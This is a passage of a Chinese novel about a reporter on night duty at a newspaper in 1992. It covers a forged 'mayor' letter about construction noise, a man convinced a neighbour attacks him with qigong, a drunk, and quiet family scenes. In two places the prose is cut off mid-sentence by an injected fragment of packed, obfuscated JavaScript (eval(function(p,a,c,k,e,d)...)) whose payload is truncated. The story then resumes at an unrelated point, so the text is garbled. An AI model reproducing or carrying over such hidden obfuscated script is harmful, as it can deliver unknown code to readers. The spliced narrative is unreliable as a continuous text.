叶葆启盯着那三个字,看了整整一支烟的工夫。烟灰积了长长一截,终于承受不住重量,断裂,飘落,在信纸上烫出一个焦黄的小洞。他笑了,笑声干巴巴的,在空旷的屋里显得突兀。假的,当然是假的。市长不会用三毛钱一本的作业本写信,不会在信纸上留下算术题的痕迹——35+47=82,打着一个鲜红的对勾,像只睁着的眼睛。 可他还是站起来,穿上雨衣。雨衣带着夜的湿气和寒气,贴在身上像第二层皮肤。 “就算是假的,疼是真的。”他自言自语,声音轻得只有自己听见。 骑车去海东区。深夜的风像无数只冰冷的手,从四面八方撕扯他的雨衣。街道两旁的楼房黑黢黢的,窗户像一只只闭着的眼睛。偶尔有辆出租车驶过,尾灯在湿漉漉的路面上拖出两道红色的伤痕,久久不散。 还未到十经路,声音先传来了——那是一种沉闷的、持续的低吼,夹杂着金属碰撞的尖锐嘶鸣。拐过路口,工地赫然出现:探照灯把夜空撕开一个惨白的口子,混凝土搅拌机像头钢铁巨兽蹲在中央,大口大口吞吐着灰色的泥浆。几个工人佝偻着身子在灯光下移动,影子被拉得很长很长,贴在围挡上,像皮影戏里扭曲的角色。 围挡上红布标语在风中猎猎作响:“大干一百天,旧貌换新颜”。每个字都有簸箕那么大,红得刺眼,像是用血写成的。 值班室窗户透出昏黄的光。一个老头趴在桌上睡觉,脸埋在臂弯里,只露出花白的后脑勺。叶葆启敲窗,老头猛地抬头——那张脸布满沟壑,眼袋垂到颧骨,眼睛里布满血丝,像两枚浸泡在药水里的标本。 “找谁?”声音沙哑得像砂纸摩擦铁皮。 “师傅,这么晚还施工?” “赶工期啊。”老头咧开嘴,露出稀疏的黄牙,“领导说了,月底不完,统统滚蛋。” “附近居民没意见?” 老头左右看看,压低声音:“咋没意见?前天还有个老太太来,跪在地上磕头,说心脏病要犯了。”他顿了顿,“可咱有啥法?咱就是拉磨的驴,鞭子抽在谁身上,谁就得转。” 叶葆启站在工地边。搅拌机的轰鸣像无数根针,扎进耳膜,直抵脑仁。他想象这声音钻进居民的梦里,把梦境搅成灰色的泥浆。看看表,凌晨一点四十,正是人睡得最沉的时候。 “不能停会儿?” 老头摇头,摇得很慢,像生锈的机器:“一分钟十块钱,我一个月才挣多少?” 叶葆启没再问。他走到自行车旁,从帆布包里掏出采访本。路灯的光昏黄黯淡,他几乎把眼睛贴在纸面上才能看清字迹。他记下:工地位置、机器数量、噪音估测、最近的居民楼距离——那栋楼就在工地对面,黑着灯,但有三扇窗户透着微弱的光,像三只失眠的眼睛。 骑车回报社。凌晨两点半,城市睡得正熟,只有他的自行车链条发出单调的咔嗒声,像是时间在一点点咬合。 回到记者站,炉火已经奄奄一息。他添了煤,看着黑色煤块慢慢变红,边缘泛起一层幽蓝的火苗,像有什么东西在煤里苏醒。 他开始打电话。 第一个打给建设部门。接电话的年轻人声音里还带着睡意,听说“记者”二字,立刻清醒了,声音拔高八度:“我马上联系!立刻!马上!”叶葆启听见电话那头椅子翻倒的声音。 第二个打给环保部门。值班的是个女同志,声音温和但疲惫。她详细询问了分贝估算、持续时长,最后叹了口气:“我们明天派人去测。但测了又能怎样?罚点款,停工两天,然后又开始了。” 第三个打给海东区总值班室。对方态度最好,记录了每一个细节,最后说:“谢谢您,记者同志。我们常接到投诉,但您是第一个深更半夜亲自去看的。” 挂了电话,凌晨三点十五分。屋里的温度回升了些,炉火正旺,铁皮炉子被烧得微微发红,像一颗跳动的心脏。 叶葆启重新拿起那封信。灯光下,信纸薄如蝉翼,背面的铅笔字迹透过来——“35+47=82”,那个对勾画得极其认真,起笔顿笔都有讲究。是个孩子,可能刚上三年级,做算术题时咬着铅笔头,眉头皱成疙瘩。 他又读了一遍信。“明天我看报”这五个字,每一笔都力透纸背,把纸划破了,露出底下粗糙的纤维。写信的人——不管是孩子还是大人——是真的相信,明天太阳升起时,问题就会白纸黑字印在报纸上,然后被解决。 他把信仔细叠好,放回信封,塞进抽屉最深处。抽屉里还有陈秉烛说的那三页“飞碟目击报告”,纸已经泛黄,边角卷曲。 打开值班本,他写道: “11月15日凌晨1时许,收到一封来信(落款‘市长’),反映海东区10经路施工扰民。经现场核实,搅拌机声如牛吼,探照灯亮如白昼,居民楼近在咫尺。已联系三部门,均承诺处理。” 笔尖在这里停顿。墨水在纸上晕开一个小圆点。他深吸一口气,继续写: “百姓需借市长之名,方能发声;需托记者之手,方能传话。此非正常社会之相,乃时代之暗疮。” 写完这句话,他感到一阵虚脱。不是累,是身体里有什么东西被抽走了,空荡荡的,只剩下心脏在胸腔里沉重地跳动,一下,又一下,像在敲一口锈钟。 窗外天色开始变化。深黑褪成藏青,藏青又稀释成灰白,像有人往墨汁里一瓢一瓢加水。远处传来第一班公交车的引擎轰鸣,清洁工的大扫帚划过路面,沙——沙——沙,像巨兽在舔舐城市的伤口。 凌晨五点,电话响了。是海东区建设部门打来的,还是那个年轻人,但声音里多了几分轻松:“叶记者,工地停了!工头我们严肃批评了!保证以后晚上十点后绝对静音!” “好。” “该我们谢您。”年轻人顿了顿,“其实……那片区我姥姥家就住那儿。她七十多了,有心脏病,这两个月没睡过一个整觉。” 叶葆启握着话筒,想说点什么,喉咙却像被什么堵住了。最后只说:“让老人家好好休息。” 挂了电话,他倒了杯开水。水很烫,他小口小口地嘬,热气扑在脸上,凝结成细密的水珠,顺着脸颊往下淌,分不清是水汽还是别的什么。 六点整,门开了。陈秉烛裹着一身寒气进来,手里塑料袋窸窣作响,透出煎饼果子的油香。 “听说你夜里出去了?”陈秉烛递过一个煎饼果子,油纸烫手。 叶葆启把事情说了。陈秉烛慢慢吃着煎饼,咀嚼得很仔细,每一口都要嚼三十下。吃完最后一口,他才开口,声音平静得像在说别人的事: “葆启,你做得对。信是假的,但疼是真的。记者这行当,就是要在假象里挖真相,在谎言里听真话。” “可我心里堵得慌。” “正常。”陈秉烛点起一支烟,烟雾在晨光中盘旋上升,像一缕游魂,“这世道,真话要披着假皮才能活。咱们改变不了世道,但能一个一个地,把那些喊疼的人扶起来。” 七点,白班的同事陆续来了。叶葆启交班,推着自行车走进晨光里。 雨彻底停了,但天还阴着,云层低垂,像一块脏兮兮的棉被盖在城市上空。早市已经热闹起来,炸油条的香味混着污水沟的馊味,在空气里纠缠不休。自行车铃铛声、小贩叫卖声、婴儿啼哭声,各种声音搅拌在一起,熬成一锅滚烫的、黏稠的都市晨粥。 回到平安胡同,素琴正在晾衣服。院子里横七竖八拉了几道铁丝,挂满了床单、被罩、衣服。湿布料在风里沉重地摆动,往下滴着水,在地上砸出一个个深色的小坑。 “回来了?”素琴头也不回,用力拧着一件衬衫,水珠四溅,“锅里有豆浆,自己盛。” 叶葆启进屋。小舟已经醒了,正自己穿衣服,扣子扣错了位置,衣襟歪斜着,露出一截瘦小的肩膀。 “爸爸!”小舟跑过来,仰着脸,“你昨天抓坏人了吗?” 叶葆启蹲下身,把儿子的扣子解开,重新扣好:“没有坏人。爸爸是去……听人喊疼。” 喝了豆浆,吃了半个馒头,叶葆启躺到床上。身体很累,脑子却异常清醒。他闭上眼睛,就看见那封信在黑暗中漂浮,字迹发着幽蓝的光。然后信纸开始变大,变得像床单那么大,像屋顶那么大,最后整个天空都变成了横格纸,上面写满了歪歪扭扭的“市长”。 他做了个梦。 梦里他变成了市长,坐在一间巨大的办公室里。办公室没有窗户,墙上贴满了各种表格、图表、曲线图。他的办公桌上堆满了信,山一样高,而且还在不断增加。他开始看信,一封接一封,都是老百姓写来的——下水道堵了,路灯坏了,孩子没学上了,老人看病难了……他拿起红笔批阅,写“已阅”“转办”“抓紧处理”。可信越批越多,越堆越高,最后轰然倒塌,把他埋在下面。他在信堆里挣扎,摸到的每一封信都在流血,黏稠的、温热的血,浸透了他的手指…… 惊醒时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不只是没睡踏实。”素琴伸手,掌心贴在他额头,那手掌粗糙温暖,带着肥皂和阳光的味道,“是心里有事,沉甸甸的,压得魂魄都矮了三寸。” 叶葆启便把那封信的细节说了,说那歪扭的字迹,说那作业本上的算术题,说工地上老头垂到颧骨的眼袋。 素琴静静听着,手指无意识地摩挲着茶杯边缘。等他说完,她沉默了很久。院子里有麻雀在啄食晾晒的玉米粒,笃笃笃,声音清脆而固执。 “葆启,”她终于开口,声音很轻,“记得咱刚结婚那年,胡同口下水道堵了不?” “记得。臭水漫了半条街。” “我找居委会,居委会说归房管站;找房管站,房管站说归市政。”素琴笑了笑,那笑容里有种苦涩的智慧,“推来推去半个月,臭气都能熏死苍蝇了。后来我急了,买了信纸信封,落款写了‘督查室’,塞进房管站信箱。第二天,来了三辆工程车,半天就通了。” 叶葆启怔住了。他看着妻子——这个每天和柴米油盐打交道的女人,这个能把一分钱掰成两半花的女人,竟也有这样的“计谋”。 “你……” “我也是没法子。”素琴握住了他的手,她的手很硬,骨节突出,但温暖有力,“老百姓过日子,就像在石头缝里种庄稼。土薄,石头硬,但还得想法子让种子发芽。有时候,就得耍点小聪明,借点他人的名头。” “可这不对。” “是不对。”素琴点头,“可对错是老天爷定的,活路是自己找的。你能做的,就是当好记者,多照亮几个石头缝。能照一寸是一寸,能暖一时是一时。” 叶葆启看着妻子的眼睛。那双眼见过太多——邻里为半尺屋檐打架,夫妻为几块钱反目,老人为一口热饭流泪。眼里有疲惫,有无奈,但深处还有一团火,微弱但坚韧,风吹不灭,雨浇不熄。 “素琴,”他说,“谢谢你。” “两口子,谢啥。”素琴抽回手,站起身,“晚上想吃啥?给你做。” “都行。” 那天晚上,叶葆启亲自下厨做了红烧肉。肉是清晨集市上买的,五花三层,肥瘦相间。他炒糖色时很小心,白糖在热油里融化,泛起琥珀色的泡沫,像无数个小小的、甜蜜的漩涡。肉块下锅时刺啦一声,白气蒸腾,香气瞬间炸开,填满了整个屋子。 小舟吃了两大碗饭,嘴角沾着油光,小脸兴奋得发红:“爸爸做的肉会跳舞!在嘴里跳!” “傻孩子,肉怎么会跳舞。”素琴笑,眼里有光。 “真的!一跳一跳的,香死了!” 叶葆启给儿子夹了块最大的肉,看着小家伙狼吞虎咽。这一刻,屋里温暖的灯光,饭菜的香气,儿子的笑声,妻子眼角的细纹,都变得无比真实,无比珍贵。 吃完饭,叶葆启刷碗,素琴辅导小舟写字。小舟刚学写自己名字,“叶舟”两个字写得东倒西歪,“叶”字那一竖总是写歪,像棵被风吹斜的树;“舟”字那两点老是忘记,素琴就说:“舟没有桨,怎么划呀?”小舟就咯咯笑着补上两点。 “爸爸,看我写的!”小舟举起本子。 叶葆启擦干手,接过本子。字确实歪,但一笔一划都很用力,纸背都被戳出了凹痕。他拿起铅笔,在本子空白处端端正正写下“叶舟”二字:“照着爸爸的写。” 小舟趴下去,小脑袋几乎贴在纸面上,铅笔尖在纸上缓慢移动,发出沙沙的声响,像春蚕在夜里啃食桑叶。 窗外,夜幕彻底落下。平安胡同里家家户户亮起灯,橘黄的光从窗户流出来,在黑暗里切开一道道温暖的口子。远处隐隐约约传来电视声、炒菜声、夫妻拌嘴声、孩子哭闹声——所有这些声音混在一起,成了生活的背景音,粗糙、嘈杂,但生机勃勃。 叶葆启看看表,七点整。该去值夜班了。 他穿上外套,围上素琴织的灰色围巾,走到门口又回头。素琴在灯下补袜子,针线在手指间穿梭;小舟趴在桌上睡着了,铅笔还握在手里,嘴角流下一道晶亮的口水。 “我走了。” “嗯。”素琴头也不抬,“路上当心。” 推着自行车走出胡同。街灯已经亮了,一盏接一盏,向黑暗深处延伸,像一串发光的念珠。他知道,今夜还会有电话响起,还会有人敲门,还会有人用各种方式——真诚的、荒诞的、绝望的、狡猾的——向他诉说这个城市的疼痛。 而他也会继续接听,继续记录,继续在夜色中穿行。不是因为他多么高尚,而是因为这是他的选择,是他与这个时代签订的沉默契约。 自行车碾过湿漉漉的街道,车灯在黑暗中切开一道微弱的光路。光里有飞舞的尘埃,有细小的水珠,有夜里出没的虫豸。这一切都在光中显现,又在光后隐没。 前方,报社大楼的灯火在夜色中矗立,像一座灯塔,也像一座墓碑。 叶葆启深吸一口气,脚下一蹬,自行车向前滑去,融入了城市的夜色,融入了1992年深冬这个潮湿的、荒诞的、却又隐约透着希望的夜晚。 5. 第005章 醉汉与气功 腊月里的内海,冷得像是被遗弃在时间之外的巨兽胃囊。河面上那层薄冰并非静止,它在月光下微微起伏,如同濒死者最后一寸尚温的皮肤。梧桐树的枝桠刺向铁青色天幕,那不是树枝——是无数冻僵的黑色血管,寒鸦落在上面时,“嘎”的一声啼叫会溅出铁锈味的涟漪。 叶葆启值夜班已经两个月了。他学会用黑布蒙眼,棉花塞耳,想象自己正沉入渤海湾最深的海沟。但总有些东西能穿透这些屏障:有时是电话铃声在梦里长成藤蔓缠绕脖颈,有时是父亲退伍那年带回来的军用水壶,在记忆深处发出空洞的回响。 这天晚上,搭档是解平生。内海市体育学院毕业的乒乓球亚军,手掌厚得像熊掌,握起笔来却灵巧得像绣花针。炉子上的铝壶喷着白汽,那汽在空中扭成各种形状,一会儿像龙,一会儿像破了的麻袋。 “葆启,听说你前几天处理了市长来信?”解平生往搪瓷缸里扔进一撮高末,茶叶落在缸底的声音很轻,像远方的枪声。 “嗯。”叶葆启用火钳夹起煤块,煤块上的纹路在火光中像一张张哭丧的脸,“信是假的,但里头的事是真的。真的东西穿上了假的衣裳,比赤裸的真相更叫人难受。” “这世道,真真假假早搅成一锅粥了。”解平生吹开茶沫,“上周我值班,来个老太太,说看见慈禧太后在天上飞,还朝她挥手呢。非让我报道,说‘太后回来了,要复辟了’。” “你怎么说?” “我说,老人家,太后累啦,在遵化的清东陵底下歇着呢,不飞了。她不信,我就给了她张稿纸。你猜怎么着?她写了半夜,临走时把稿纸叠成仙鹤,说‘这鹤能飞到太后手里’。” 两人都笑了,笑声在值班室里撞来撞去,最后碎在墙角。窗外北风呜呜地哭,那哭声里有女人的嗓音,也有婴儿的啼叫。 十点半,电话响了。铃声尖锐得像一根针,扎破了夜晚的膀胱。 “记者同志!我是东铁路宜清花园的!”是个年轻男人的声音,急得快要烧起来,“我对面楼住个姓郭的离婚女人,天天趴在窗户上喊我名字!像叫魂似的!” 叶葆启记录:“东铁路宜清花园,邻里纠纷。”钢笔尖划过纸面,留下蚯蚓般的痕迹,“她为什么喊你?” “我不知道啊!我根本不认识她!”男人的声音开始打旋,“找过派出所,所长说‘这事儿得找报社,我们管不了活人的魂’!” “您贵姓?” “姓国,国佳!国家的国,佳人的佳!” “国同志,您这名字好,听起来像‘国家’。但这事……” “她不是人!”国佳突然压低声音,那声音从电话线里爬出来,带着粘腻的寒意,“她会气功!她发功的时候,我脑袋里像有一窝黄蜂在筑巢!针扎似的疼,从太阳穴扎进去,从眼珠子扎出来!” 叶葆启和解平生对视。解平生用口型说:疯了。 “国同志,头疼该去医院。” “去过了!拍了片子,医生说脑壳里干干净净,比他的良心还干净!”国佳的声音又尖起来,“可她就是能钻进我脑子里!她知道我昨晚吃了韭菜盒子,知道我今早拉屎用了三张纸!她有仪器,肯定有!” 叶葆启明白了。这不是邻里纠纷,是一个人的精神在冬夜里裂开的声音。 “这样,您明天来报社一趟,咱们……” “我现在就去!她的气功波正从窗户缝里钻进来,我看见了,是紫色的!” 电话挂了。忙音“嘟—嘟—”地响,像心跳。 解平生叹口气,那口气很长,长得能从腊月伸到来年开春:“得,今晚的安生又让气功打散了。” 半小时后,人来了。国佳二十五六岁的样子,个子不高,瘦得像根被风吹歪的芦苇秆。军大衣太大,空荡荡地挂在他身上,袖口露出冻得发紫的手腕。他一进屋就抓住叶葆启的手,那手冰得像从河底捞上来的石头。 “记者同志,你们得救我!”他眼睛里的光很烫,烫得不正常,“她要炼我的魂儿!” 叶葆启让他坐下,倒了杯热水。国佳捧着杯子不喝,只是盯着水面,好像水底沉着什么秘密。 “慢慢说。”叶葆启翻开记录本。本子的纸页有些泛黄,像旧年的皮肤。 国佳开始讲述。语速很快,句子和句子之间没有缝隙,像一堵密不透风的墙:女人三十多岁,离婚两年,住在对面三楼;她每天趴在窗口喊“国佳”,有时候半夜也喊,声音透过墙壁时变成绿色的;他去找过,女人不承认,但她家的电视机会在他头疼时自动打开;医院查不出原因,医生说他是神经衰弱,可他明明看见有紫色的气从对面窗口飘过来…… 解平生听得眉头拧成疙瘩。等国佳喘气的间隙,他问:“小国,你现在做什么营生?” “没营生。”国佳低下头,脖子后的脊椎骨一节节凸起,像一串念珠,“以前在北京一个影视公司工作,许是总在音响旁边听配音,那声音把我耳朵里的平衡器震坏了。现在听什么都有回音。” “家里人呢?” “爸妈是做‘小百’的,哦,就是小卖铺,去东北上货去了。”国佳抬起头,眼睛里那片狂热的光烧得更旺了,“记者同志,你们能不能教我一招?能破了她的气功的!” 叶葆启点起一支烟。烟是“恒大”牌的,便宜,呛人。烟雾在灯光下慢慢升起,先是直的,然后开始打旋,旋成一个小小的漩涡。他看着那漩涡,突然有了主意。 “小国,”他弹掉烟灰,“你说她会气功?” “千真万确!” “那你知不知道,气功最怕什么?” “怕什么?” “怕‘金刚罩’。”叶葆启坐直身子,声音压得很低,像在透露一个天大的秘密,“练成了,周身三尺有金刚护着,什么邪气都近不了身。” 国佳的眼睛瞪圆了:“您会?” “会一点皮毛。”叶葆启掐灭烟,烟头在烟灰缸里发出“嘶”的一声轻响,像蛇吐信子,“我师父当年在嵩山少林寺后山,跟一个还俗的和尚学的。本来不传外人,但看你这样……教你了。” 国佳“腾”地站起来,军大衣下摆带倒了椅子。椅子倒地的声音很响,像骨头断裂。 解平生把椅子挪开,腾出块空地。叶葆启站到中间,摆了个架势——其实是第八套广播体操的伸展运动,但他做得很慢,每一个动作都像在推开一扇沉重的石门。 “来,跟我做。”他说。 国佳学得极其认真。抬手时,他想象自己在推开一座山;伸展时,想象自己的手臂在长,一直长到能碰到对面的窗户;呼吸时,他吐出的白气在空气中凝成一小团云,久久不散。 叶葆启一边教,一边编口诀:“气沉丹田,沉到脚后跟;意守心间,守成一块铁。金刚护体,体如铜钟;邪祟不侵,侵者自焚。” 解平生在一旁憋笑,憋得肩膀发抖,脸涨成猪肝色。 教了二十分钟,国佳已经满头大汗。汗水从他额角流下来,流进眼睛,他眨都不眨。那几个动作他反复练习,嘴里念念有词,那声音不大,但每个字都咬得很重,像是要把字钉进空气里。 “好了,”叶葆启说,“今天先教这些。你回去练,每天子时和午时各练一次,练的时候想着你周身有三尺金光。七天后,金光成型,她再也伤不了你。” “谢谢记者同志!”国佳深深鞠躬,腰弯得很低,低到能看见他后颈上有一块胎记,形状像一片枯叶,“您是我的再生父母!” “快回家吧,路上小心。” 国佳走了。脚步声在走廊里回荡,先是很急,然后慢下来,最后变成一种有节奏的“嗒、嗒”声,像是在练习某种步法。 门关上。解平生终于笑出声,笑声像爆豆子:“金刚罩!葆启啊葆启,你他娘的真是个天才!” 叶葆启也笑了,但笑完,嘴角沉下来:“这孩子,脑子里有片海,海啸了。” “这年月,谁脑子里没点风浪?”解平生重新坐下,搪瓷缸里的茶已经凉了,表面结了一层薄薄的膜,“像国佳这样下岗的,还有离婚的,欠债的……心里那点苦没处倒,就发酵,发酵成各种形状。有的是气功,有的是鬼魂,有的是慈禧太后。” 炉子里的煤块“噼啪”响了一声,火星溅出来,有一颗落在叶葆启手背上,烫出一个小小的红点。他没去擦,看着那红点慢慢暗下去,变成褐色。 忽然想起父亲。父亲转业后,在国棉厂当保卫科长。厂里有个女工,丈夫工伤死了,她开始说能听见丈夫在织布机里说话。大家都躲着她,只有父亲每天去和她聊几句,有时候带两个馒头。母亲说:“晦气,死人的魂沾上就甩不掉。”父亲说:“活人的苦比死人的魂重,能分担一点是一点。” 现在,自己也成了这样的人。用谎言编织袈裟,披在疯癫者身上。对不对?他不知道。但他记得国佳离开时的眼神——那眼神里的恐慌暂时退潮了,露出干涸但平静的河床。 凌晨一点,门被撞开了。 一个醉汉踉跄着进来。四十多岁,胖,穿一件油腻的棉袄,棉袄上沾着饭渍和某种可疑的污渍。酒气先于人扑进来,那气味浓得能用刀子切开。 “记者同志!我让人打了!”他拍桌子,桌子上的茶杯跳起来,又落下,“你们管不管!” 叶葆启闻着那味儿就头疼,但声音还是温和的:“谁打您了?” “不知道!”醉汉又拍桌子,这次更用力,指关节上的老茧和桌面碰撞,发出闷响,“我骑自行车路过下瓦房,‘啪’一个耳光!谁打的?不知道!像从地底下伸出来的手!” “那您看清长相了吗?” “黑灯瞎火的,看个屁!”醉汉瞪着眼,眼球上布满血丝,像地图上的河流,“你们就得为我们做主!曝光!把打人的揪出来!揪出来吊在路灯上!” 解平生想说话,叶葆启摇摇头。醉汉是沼泽,越挣扎陷得越深。 “您先喝口水。”叶葆启倒了杯凉白开。水在杯子里微微晃动,晃出细小的波纹。 醉汉不喝,开始长篇大论。说了一刻钟,翻来覆去就是那几句:被人打了,没看清是谁,你们要主持公道。但他的语言在酒精里泡过,变得肿胀而怪异:耳光的声音像“破锣”,打人的手像“鬼爪子”,路灯在他嘴里变成了“挂着人头的竹竿”。 叶葆启等他喊累了,喉咙开始沙哑,才说:“这样,我给派出所打电话。” “不去!派出所都是饭桶!” “那您想怎么办?” “登报!明天就登!头版!标题要这么大——”他用手比划,比划出一个荒谬的尺寸,“《午夜鬼手袭路人,所有路过的人要警惕》!” 叶葆启拿起电话,拨号。瓦房街的值班民警一听就明白了:“又是老邹吧?喝多了就来这套。让他过来,我们这儿有醒酒汤,放了葛花和枳椇子,专治酒疯。” 挂了电话,叶葆启对醉汉说:“派出所请您过去,有醒酒汤。” “不去!我要在这儿等!等打我的人来自首!” “那您坐着,我们还要工作。”叶葆启翻开一本稿子,稿子上是明天的天气预报:晴,西北风三到四级。他把“晴”字描了又描,描成一个黑色的太阳。 醉汉又嚷嚷了一阵,见没人理,声音渐渐低下去。他趴在桌上,开始打鼾。鼾声起初很大,然后变小,变成一种呜咽似的抽泣。哭着哭着,他又抬起头:“我老婆……跟卖豆腐的王磊跑了……儿子说我不是他爹……厂里说我偷铜线,开除我……现在连鬼都打我……” 解平生小声说:“真话都在酒里。” 叶葆启没说话。他看着醉汉,醉汉的脸上有泪痕,那泪痕在昏黄的灯光下像两条小小的河。河床已经干涸多年,今夜终于又有水流动。 电话又响了。这次是个老太太,说楼上漏水,漏下来的水是黄色的,有铁锈味。叶葆启记录,联系房管站。处理完,凌晨两点。 解平生靠在椅背上打盹,头一点一点的,像鸡啄米。叶葆启没有睡意,他拿出采访本,翻到最后一页,开始写: “1992年12月10日。夜。国佳,脑子里住进了一个会气功的女人。教他‘金刚罩’,一套广播体操改成的仪式。他信了,信比药灵。 醉汉老邹,被看不见的手打耳光。那手可能是他老婆的,可能是厂长的,也可能是命运本身的。耳光响亮,但疼的是心里那块早已溃烂的肉。 陈主任说过,夜班是医院的急诊室,来的都是急症。但急诊治标不治本,本在白天,在太阳底下那些我们看不见的裂缝里。 素琴说我心软。也许是吧。在公交车上卖票七年,见过太多这样的瞬间:一个老人上车,手里攥着皱巴巴的毛票;一个母亲抱着熟睡的孩子,孩子的口水湿了她的肩头;一个年轻人盯着窗外,眼睛空得像两只碗。那些瞬间像针,扎进肉里,不疼,但永远留在那儿。 父亲说,做人要正。正字怎么写?一横是天,一横是地,中间一竖是人。人要顶天立地,但也要弯腰看看脚下的泥。” 写完,他合上本子。本子的封皮是黑色人造革的,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“嗯。”叶葆启弯腰捡起那颗扣子。扣子是塑料的,黑色,边缘已经磨损。他把它放在桌上,扣子在桌面微微滚动,最后停住,像一个黑色的句号。 天亮时,雪停了。世界被重新粉刷过,一切肮脏和丑陋暂时被掩埋。叶葆启骑车回家,车轮轧过雪地,发出“咯吱咯吱”的声音,那声音很清脆,像在咬脆萝卜。 胡同里,早起的人们在扫雪。扫帚划过地面的声音“沙沙”响,和夜里雪打窗户的声音很像,但一个是开始,一个是结束。 回到家,素琴正在蒸馒头。铝锅盖被蒸汽顶得“噗噗”响,锅沿喷出的白汽让厨房像个仙境。麦香弥漫,那是人间最扎实的香味。 “回来了?”素琴掀开锅盖,雾气“呼”地涌出来,模糊了她的脸,“洗把脸,趁热吃。今天馒头里掺了玉米面,黄白相间,好看。” 叶葆启洗了脸,水很凉,激得他打了个哆嗦。坐到桌前,素琴端上馒头、咸菜丝、小米粥。咸菜丝切得极细,淋了香油;小米粥熬出了米油,表面结着一层薄皮。 他咬了口馒头,暄软,有嚼劲,玉米面的甜和麦香的醇在口腔里混合。 “昨晚又遇见怪事了?”素琴问,往他碗里夹了块酱豆腐。 叶葆启把国佳和醉汉的事说了。素琴听了,手里擦着灶台,抹布在瓷砖上画着圈:“现在这样的人真多。街道办马凯主任说,他们那儿每天都有来诉苦的,有的能解决,有的就是心里长了荒草,锄不净。” “你说,我骗国佳,对不对?” 素琴停下来,抹布攥在手里,水滴到地上:“你是为他好。真话像刀子,有时候会要人命;假话像绷带,虽然治不了伤,但能止血。做人不能光讲对不对,还得讲该不该。” 叶葆启没说话,慢慢喝着粥。粥很烫,烫得舌尖发麻。 小舟醒了,光着脚从里屋跑出来,脚丫踩在地上“啪啪”响:“下雪了!世界变成棉花糖了!” “穿鞋!”素琴赶紧给他套上棉鞋,棉鞋是虎头样的,虎眼睛是两个黑扣子。 小舟趴在窗台上看雪,脸贴在玻璃上,压得扁扁的,像一张饼:“爸爸,雪是什么味道?” “你尝尝就知道了。”叶葆启说。 小舟真跑到院里,捧起一捧雪,伸出粉色的舌头舔了舔:“凉凉的,有点甜,像偷吃的白糖。” 叶葆启笑了。孩子的舌头是干净的,能尝出雪本来的味道。 吃过早饭,叶葆启躺下睡觉。却睡不着,眼皮闭着,但眼球在下面转动,转出一幅幅画面:国佳练习“金刚罩”时虔诚的脸,老邹哭时那张皱得像抹布的脸,还有父亲——父亲在国棉厂门口和那个疯女工说话,阳光照在他们身上,把他们的影子拉得很长,长得能碰到厂墙外的那条河。 他起身,从抽屉里拿出一个信封。信封是郭熠轩送锦旗时一起送来的,里面有两张照片。一张是郭熠轩在保安室值班,站得笔直,像一棵树;另一张是他和工友的合影,七八个人挤在镜头里,都笑着,露出白牙,那白在黑白照片里显得特别亮。 叶葆启看了会儿,把照片放回去。抽屉里还有别的东西:一支旧钢笔,笔帽裂了,用胶布缠着;几张粮票,已经作废了,但舍不得扔;一本1978年的《新华字典》,扉页上有父亲的签名。 他躺回去,这次睡着了。梦里没有电话铃声,只有雪,静静地下。雪覆盖了屋顶、街道、河流,覆盖了所有的哭声和笑声,把世界还原成一张白纸。 醒来时,已是傍晚。夕阳从西窗照进来,把屋子染成橘红色。素琴在做晚饭,炝锅的“刺啦”声和葱花的香味一起飘进来。小舟在写作业,铅笔在纸上沙沙地响,那声音很轻,像春蚕吃桑叶。 叶葆启坐起来,发了会儿呆。然后下床,走到院里。 雪已经化了大部分,地上湿漉漉的,像刚哭过的脸。残留的雪堆在墙角,脏兮兮的,但顶上是干净的白色,倔强地白着。夕阳西下,天边一片火烧云,云的形状像一群奔跑的野兽,像翻滚的麦浪,也像——他眯起眼睛——像一只巨大的手,正在慢慢握拢。 他深吸一口寒冷的空气,空气里有煤烟味、饭菜香,还有远处飘来的小提琴声,兴许是对过儿院子里叫赵同的那个孩子在拉《流浪者之歌》,那曲子弯弯曲曲,像一条冻僵的河。 夜晚还会来临。电话还会响,会有新的人带着新的苦痛和荒诞走进这间值班室。但此刻,在这短暂的、琥珀般的安宁里,他感到一种深深的平静。 虽然这平静薄如蝉翼,虽然它注定要被下一个夜晚刺破。 但此刻,它就是全部。 6. 第006章 夜半叩门人 腊月二十三,小年的夜,是被炖肉香气腌透了的。那香气有脚,在胡同里慢悠悠地走,踩着谁家窗台挂的干辣椒串,惊起几只麻雀,扑棱棱飞进靛青的暮色里。鞭炮声是冷不丁炸响的——啪!接着便是一串琉璃珠子似的笑声,滚过结了薄冰的地面。 叶葆启值下半夜的班。晚十一点到报社时,门卫张大爷正对着一碟花生米独酌。花生米炸得焦黄,在十五瓦灯泡下泛着油光,像一排排小棺材,装殓着最后的香气。 “葆启,来一口?驱驱寒。”张大爷的舌头被酒泡得有些大,话在嘴里滚了几个来回才吐出来。 “不了张大爷,还得值班。”叶葆启笑笑,呵出的白气在寒夜里开成一朵昙花,瞬间败了。 “今儿小年,也不歇歇?”张大爷用两根手指——那手指粗得像胡萝卜——拈起几颗花生米,递过来时,叶葆启看见他指甲缝里嵌着黑泥,是岁月的沉淀。 叶葆启接过,剥了吃。花生衣粘在舌尖上,涩涩的,像日子本身。“干咱们这行,没年没节。” 上楼时,楼道里静得能听见自己的心跳。那心跳声被墙壁放大,咚咚,咚咚,像是谁在远处敲着一面蒙了牛皮的鼓。其他部门都灭了灯,只有群工部的灯还亮着——昏黄的一团,从门缝里渗出来,在地上淌成一条浅浅的河。 推开门,解平生已经在了。他正守着铁炉子烤红薯,佝偻的背影在墙上投出巨大的影子,那影子随着炉火跳动,一忽儿长,一忽儿短,像个不安分的魂。 “葆启,快来,红薯快好了。”解平生头也不回,用火钳翻动着。那火钳是黑的,尖头却烧得发白,像野兽的牙齿。 炉子上的红薯烤得表皮焦黑,裂开一道道口子,露出里面金黄的瓤。热气从裂缝里钻出来,带着甜香,那香气稠得像蜜,黏在人的鼻腔里不肯走。叶葆启搬了椅子坐下,两人就着炉火剥红薯。红薯瓤烫手,他们便倒着手吹气,像捧着两团小小的、滚烫的太阳。 